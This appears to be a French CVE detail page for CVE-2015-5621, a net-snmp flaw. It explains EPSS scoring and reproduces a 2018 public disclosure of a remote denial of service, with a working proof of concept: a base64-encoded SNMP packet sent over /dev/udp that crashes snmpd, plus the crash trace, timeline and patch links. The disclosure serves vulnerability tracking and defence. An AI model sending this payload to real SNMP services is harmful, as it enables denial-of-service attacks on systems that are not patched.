CVE-2015-5621 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

_ _ / | ___ ___| |_ ___ ___ ___ _____ ___ _ / / | | -_| _|___|_ -| | | . | |_|_/ |_|_|___|_| |___|_|_|_|_|_| _| |_| 2018-10-08 NET-SNMP REMOTE DOS =================== Second bug is remotely exploitable only with knowledge of the community string (in this case "public") leading to Denial of Service: # echo -n "MIGfAgEBBAZwdWJsaWOhgZECATwCAQECAUAwgYUwIgYSKwYBBAGBfQgzCgIBBwqG3rc1BAwxNzIuMzEuMTkuNzMwFwYSKwYBAgEBCQEEgQECAAqG3rlgAgECMCMGEgsGAQQBgX0IMwoCAQcKht63NgQNMjU1LjI1NS4yNTUuMDAhBhIrBgECAQEJBgECAQoDAIbetzgECzE3Mi4zMS4xOS4y" | base64 -d > /dev/udp/127.0.0.1/1111 # net-snmp-5.7.3/agent/snmpd -f -d -V -c ../../snmpd.conf -Ln 127.0.0.1:1111 ASAN:SIGSEGV ================================================================= ==41062==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000410 (pc 0x00000075bc0f bp 0x7ffdda226b10 sp 0x7ffdda2269e0 T0) #0 0x75bc0e in _set_key /home/magnus/projects/net-snmp/net-snmp-5.7.3/agent/helpers/table_container.c:564:9 #1 0x75bc0e in _data_lookup /home/magnus/projects/net-snmp/net-snmp-5.7.3/agent/helpers/table_container.c:614 #2 0x75bc0e in _container_table_handler /home/magnus/projects/net-snmp/net-snmp-5.7.3/agent/helpers/table_container.c:749 #3 0x572262 in netsnmp_call_handler /home/magnus/projects/net-snmp/net-snmp-5.7.3/agent/agent_handler.c:526:15 #4 0x572dc4 in netsnmp_call_next_handler /home/magnus/projects/net-snmp/net-snmp-5.7.3/agent/agent_handler.c:640:12 #5 0x58751c in table_helper_handler /home/magnus/projects/net-snmp/net-snmp-5.7.3/agent/helpers/table.c:713:9 #6 0x572262 in netsnmp_call_handler /home/magnus/projects/net-snmp/net-snmp-5.7.3/agent/agent_handler.c:526:15 #7 0x572c79 in netsnmp_call_handlers /home/magnus/projects/net-snmp/net-snmp-5.7.3/agent/agent_handler.c:611:14 #8 0x520d86 in handle_var_requests /home/magnus/projects/net-snmp/net-snmp-5.7.3/agent/snmp_agent.c:2679:22 #9 0x524dbe in handle_pdu /home/magnus/projects/net-snmp/net-snmp-5.7.3/agent/snmp_agent.c:3441:18 #10 0x51b976 in netsnmp_handle_request /home/magnus/projects/net-snmp/net-snmp-5.7.3/agent/snmp_agent.c:3284:14 #11 0x515876 in handle_snmp_packet /home/magnus/projects/net-snmp/net-snmp-5.7.3/agent/snmp_agent.c:1990:10 #12 0x7f3558 in _sess_process_packet /home/magnus/projects/net-snmp/net-snmp-5.7.3/snmplib/snmp_api.c:5437:7 #13 0x7ef331 in _sess_read /home/magnus/projects/net-snmp/net-snmp-5.7.3/snmplib/snmp_api.c:5877:14 #14 0x7ed2e0 in snmp_sess_read2 /home/magnus/projects/net-snmp/net-snmp-5.7.3/snmplib/snmp_api.c:5911:10 #15 0x7ed2e0 in snmp_read2 /home/magnus/projects/net-snmp/net-snmp-5.7.3/snmplib/snmp_api.c:5502 #16 0x4f9286 in receive /home/magnus/projects/net-snmp/net-snmp-5.7.3/agent/snmpd.c:1375:15 #17 0x4f9286 in main /home/magnus/projects/net-snmp/net-snmp-5.7.3/agent/snmpd.c:1118 #18 0x7fc1acb11b44 in __libc_start_main /build/glibc-6V9RKT/glibc-2.19/csu/libc-start.c:287 #19 0x4f617c in _start (/home/magnus/projects/net-snmp/net-snmp-5.7.3/agent/snmpd+0x4f617c) AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV /home/magnus/projects/net-snmp/net-snmp-5.7.3/agent/helpers/table_container.c:564 _set_key ==41062==ABORTING PATCHES ======= Vuln#2: sourceforge.net/p/net-snmp/code/ci/7ffb8e25a0db851953155de91f0170e9bf8c457d TIMELINE ======== 2015-04-11 Vendor releases patch of bug#1 in version control - no public article or otherwise disclosure 2016-10-06 Vendor releases patch of bug#2 in version control - no public article or otherwise disclosure 2018-01-05 I discovered both bugs 2018-01-08 Vendor notified 2018-01-08 Vendor responds - bugs already fixed in version control repo 2018-10-08 Public disclosure of exploit PROOF OF DISCOVERY ================== # cat vuln2 | base64 MIGfAgEBBAZwdWJsaWOhgZECATwCAQECAUAwgYUwIgYSKwYBBAGBfQgzCgIBBwqG3rc1BAwxNzIu MzEuMTkuNzMwFwYSKwYBAgEBCQEEgQECAAqG3rlgAgECMCMGEgsGAQQBgX0IMwoCAQcKht63NgQN MjU1LjI1NS4yNTUuMDAhBhIrBgECAQEJBgECAQoDAIbetzgECzE3Mi4zMS4xOS4y # sha256sum vuln2 b7f0e494b8a91c6fedb7e13b3b8dab68a951b5fdc21dd876ae91eb86924018f2 vuln2 twitter.com/magnusstubman/status/949520565064404994 REFERENCES ========== - sourceforge.net/p/net-snmp/bugs/2820 - sourceforge.net/p/net-snmp/bugs/2819